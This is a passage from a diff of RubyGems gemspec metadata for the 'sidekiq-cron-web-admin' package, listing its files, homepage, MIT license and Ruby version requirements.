- ".travis.yml"
|
166
|
+
- CHANGELOG.md
|
167
|
+
- Dockerfile
|
168
|
+
- Gemfile
|
169
|
+
- Gemfile.lock
|
170
|
+
- LICENSE.txt
|
171
|
+
- Makefile
|
172
|
+
- README.md
|
173
|
+
- Rakefile
|
174
|
+
- bin/console
|
175
|
+
- bin/setup
|
176
|
+
- bin/test
|
177
|
+
- docker-compose.yml
|
178
|
+
- lib/sidekiq/cron/launcher.rb
|
179
|
+
- lib/sidekiq/cron/poller.rb
|
180
|
+
- lib/sidekiq/cron/web/admin.rb
|
181
|
+
- lib/sidekiq/cron/web/admin/version.rb
|
182
|
+
- sidekiq-cron-web-admin.gemspec
|
183
|
+
homepage: https://github.com/1debit/sidekiq-cron-web-admin
|
184
|
+
licenses:
|
185
|
+
- MIT
|
186
|
+
metadata: {}
|
187
|
+
post_install_message:
|
188
|
+
rdoc_options: []
|
189
|
+
require_paths:
|
190
|
+
- lib
|
191
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
192
|
+
requirements:
|
193
|
+
- - ">="
|
194
|
+
- !ruby/object:Gem::Version
|
195
|
+
version: '0'
|
196
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
197
|
+
requirements:
|
198
|
+
- - ">="
|
199
|
+
- !ruby/object:Gem::Version
|
200
|
+
version: '0'
|
201
|
+
requirements: []
|
202
|
+
rubygems_version: 3.0.3
|
203
|
+
signing_key:
|
204
|
+
specification_version: 4
|
205
|
+
summary: sidekiq-cron web admin.
|
206
|
+
test_files: []
|